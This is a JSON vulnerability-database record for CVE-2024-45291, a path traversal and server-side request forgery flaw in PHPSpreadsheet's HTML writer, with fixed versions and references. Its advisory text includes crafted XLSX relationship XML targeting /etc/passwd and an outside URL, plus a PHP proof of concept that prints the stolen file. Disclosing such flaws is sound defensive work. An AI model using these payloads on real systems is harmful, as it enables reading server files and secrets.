{"id":"CVE-2024-45291","aliases":["GHSA-w9xv-qf98-ccq4"],"url":"https://o3.security/vulnerability/CVE-2024-45291","summary":"Path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled in PHPSpreadsheet","details":"### Summary\n\nIt's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.\n\n### Details\n\nXLSX files allow embedding or linking media. When \n\nIn `xl/drawings/drawing1.xml` an attacker can do e.g.:\n```xml\n<a:blip cstate=\"print\" r:link=\"rId1\" />\n```\n\nAnd then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:\n```xml\n<Relationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"/etc/passwd\" />\n```\nor\n```xml\n<Relationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"http://example.org\" />\n```\n\nWhen the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.\n\n```php\nif ($this->embedImages || str_starts_with($imageData, 'zip://')) {\n    $picture = @file_get_contents($filename);\n    if ($picture !== false) {\n        $imageDetails = getimagesize($filename) ?: ['mime' => ''];\n        // base64 encode the binary data\n        $base64 = base64_encode($picture);\n        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;\n    }\n}\n\n$html .= '<img style=\"position: absolute; z-index: 1; left: '\n    . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '\n    . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;\" src=\"'\n    . $imageData . '\" alt=\"' . $filedesc . '\" />';\n```\n\n### PoC\n\n```php\n<?php\n\nrequire 'vendor/autoload.php';\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n$writer->setEmbedImages(true);\n$output = $writer->generateHTMLAll();\n\n// The below is just for demo purposes\n\n$pattern = '/data:;base64,(?<data>[^\"]+)/i';\n\npreg_match_all($pattern, $output, $matches);\n\nprint(\"*** /etc/passwd content: ***\\n\");\nprint(base64_decode($matches['data'][0]));\n\nprint(\"*** HTTP response content: ***\\n\");\nprint(base64_decode($matches['data'][1]));\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)\n\nRun with:\n`php index.php`\n\n### Impact\n\nWhen embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.","published":"2024-10-07T20:09:58.029Z","modified":"2026-10-28T02:30:54.830945134Z","cvss":{"score":6.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"2.3.0"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"1.29.2"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"2.1.1"},{"ecosystem":"Packagist","name":"phpoffice/phpexcel","fixedVersion":null}],"fix":{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a","label":"PHPOffice/PhpSpreadsheet@a9693d1"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/45xxx/CVE-2024-45291.json"},{"type":"ADVISORY","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45291"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:54.830945134Z"}}